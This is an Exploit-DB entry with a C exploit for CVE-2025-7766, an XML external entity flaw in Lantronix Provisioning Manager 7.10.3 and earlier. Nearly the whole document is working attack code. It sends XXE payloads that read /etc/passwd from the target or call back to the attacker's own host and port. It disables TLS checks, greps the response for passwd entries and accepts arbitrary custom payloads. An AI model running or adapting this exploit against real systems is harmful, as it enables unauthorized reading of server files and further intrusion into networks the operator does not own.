Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)

EDB-ID:

52417




Platform:

Multiple

Date:

2025-08-18


/*
 * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
 * Google Dork: N/A
 * Date: 2025-08-17
 * Exploit Author: Byte Reaper
 * Vendor Homepage: https://www.lantronix.com/
 * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/
 * Version: Provisioning Manager ≤ 7.10.3
 * Tested on: Kali Linux
 * CVE: CVE-2025-7766
 */


#include<stdio.h>
#include<string.h>
#include"argparse.h"
#include<curl/curl.h>
#include<stdlib.h>
#include<unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define FULL_URL 3000
#define SIZE_PAYLOAD 4000
const char *yourIp = NULL;
const char *url = NULL ;
int yourPort = 0;
int selecetCookie = 0;
int verbose = 0;
int loop = 0;
int selectPayload = 0;
const char *yourPayload = NULL;
char full[FULL_URL];
int requestPayload = 0;
const char *cookies = NULL;

void exitSyscall()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void xmlPost(const char *fullUrl, const char *yourIp, int yourPort)
{
    char payload[SIZE_PAYLOAD];
    struct Mem response =
    {
        NULL,
        0
    };
    if (selectPayload)
    {
        int s = snprintf(payload,sizeof(payload),yourPayload);
        if (s < 0 || s >= sizeof(payload))
        {
            printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n");
            exitSyscall();
        }
    }
    if (requestPayload)
    {
        printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n");
        printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n");

        const char *payloadR =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort);
        if (r < 0 || r >= sizeof(payload))
        {
            printf("\e[1;31m[-] Error building payloadR\n");
            exitSyscall();
        }
    }
    else
    {
        printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n");
        const char *autoPayload =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        snprintf(payload,
                 sizeof(payload),
                 autoPayload);
    }


    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exitSyscall();
    }
    response.buffer  = NULL;
    response.len = 0;

    if (verbose)
    {
        printf("\e[1;35m==========================================\e[0m\n");
        printf("[+] Cleaning Response...\n");
        printf("[+] Response Buffer : %s\n", response.buffer);
        printf("[+] Response Len : %zu\n", response.len);
        printf("\e[1;35m==========================================\e[0m\n");
    }
    CURLcode res;
    if (curl)
    {
        curl_easy_setopt(curl,
                         CURLOPT_URL,
                         fullUrl);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDS,
                         payload);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDSIZE,
                         strlen(payload));

        if (selecetCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        sleep(1);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *headers = NULL;
        headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
        headers = curl_slist_append(headers,
                              "Connection: keep-alive");
        headers = curl_slist_append(headers,
                                    "Referer: http://example.com");
        headers =curl_slist_append(headers,
                                   "Content-Type: application/xml");
         double totalTime;
        res = curl_easy_perform(curl);
        if (res == CURLE_OK)
        {
             curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime);
             printf("\e[1;32m[+] Delayed response : %f\n",  totalTime );
             printf("\e[1;36m[+] Request sent successfully\e[0m\n");
             printf("\e[1;34m[+] Full URl : %s\e[0m\n", full);
             if (verbose)
             {
                 printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n");
                 printf("[+] Post data : %s\n", payload);
                 printf("\e[1;35m-----------------------------------------------------------------\e[0m\n");
             }
             long httpCode= 0 ;
             curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
             if (httpCode >= 200 && httpCode < 300)
             {
                 printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n");                     printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort);
                 printf("[+] Http Code (200 < 300) !\e[0m\n");
                 printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;35m====================================[Response]====================================\e[0m\n");
                 printf("%s\n", response.buffer);
                 printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                 printf("\e[1;35m===================================================================================\e[0m\n\n");
                 const char *keywords[] =
                 {
                     "root:x:0:0",
                     ":/bin/bash",
                     ":/home/",
                     "daemon:x:",
                     "nobody:x:",
                     ":x:1000:",
                     "/usr/sbin/nologin",
                     "sys:x:",
                     "bin:x:",
                     "mail:x:"
                 };
                 printf("\e[1;34m[+] Check keyword On Response...\e[0m\n");
                 int numberKeyword = sizeof(keywords) / sizeof(keywords[0]);
                 int found = 0;
                 for (int f = 0; f < numberKeyword; f++)
                 {
                     if (strstr(response.buffer,keywords[f]) != NULL)
                     {
                         printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]);
                         found = 1;
                     }
                     else
                     {
                         found = 0;
                     }
                 }
                 if (found)
                 {
                     printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n");
                 }
                 else
                 {
                     printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n");
                 }
             }
             else
             {
                 printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl);
                 if (verbose)
                 {
                     printf("\e[1;35m====================================[Response]====================================\n");
                     printf("%s\n", response.buffer);
                     printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                     printf("\e[1;35m===================================================================================\n\n");
                 }
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            if (verbose)
            {
                printf("\e[1;31m[-] Exit Syscall ...\e[0m\n");
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
            exitSyscall();
        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}

int main(int argc,
         const char **argv)
{
    printf
    (
        "\e[1;91m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▙▌▙▌\n"
        "\e[1;97m\t      Byte Reaper\e[0m\n"
    );
    printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n");
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &url,
                   "Target Url (full url)"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "cookies File"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_STRING('i',
                    "ip",
                    &yourIp,
                    "Enter Your IP (Send Requst, Localhost ip...)"),
        OPT_INTEGER('p',
                    "port",
                    &yourPort,
                    "Enter Number Port (Http Request,Check Vuln...)"),
        OPT_INTEGER('l',
                    "loop",
                    &loop,
                    "Number of times you send requests"),
        OPT_STRING('b',
                   "payload",
                   &yourPayload,
                   "Enter Your Payload"),
        OPT_BOOLEAN('r',
                    "request",
                    &requestPayload,
                    "Payload Send Request in Your Server "),



         OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!url ||
        !yourIp ||
        yourPort == 0)
    {
        printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n");
        printf("\e[1;31m[-] Ex : ./exploit  -u https://ip:port/path -i IP -p PORT\e[0m\n");
        printf("\e[1;31m[-] Exit syscall...\e[0m\n");
        exitSyscall();
    }
    strncpy(full, url, FULL_URL - 1);
    full[FULL_URL - 1] = '\0';
    in_addr_t value = inet_addr(yourIp);
    if (value == INADDR_NONE)
    {
        printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
        exitSyscall();
    }
    if (yourPort < 1 || yourPort > 65535)
    {
        printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n");
        exitSyscall();
    }
    if (strncmp(full, "http://", 7) != 0 &&
        strncmp(full, "https://", 8) != 0)
    {
        printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n");
        exitSyscall();
    }

    if (verbose)
    {

        verbose = 1;
    }
    if (cookies)
    {
        selecetCookie = 1;
    }

    if (requestPayload)
    {
        requestPayload = 1;
    }
    if (loop)
    {
        printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n");
        printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop);
        printf("------------------------------------------------------\n");
        for (int o = 0; o < loop ; o++)
        {
            printf("[%d]: \n", o);
            xmlPost(full, yourIp,yourPort);
            printf("------------------------------------------------------\n");
        }
    }
    if (yourPayload)
    {
        selectPayload = 1;
    }
    else
    {
        xmlPost(full, yourIp,yourPort);
    }
    return 0;
}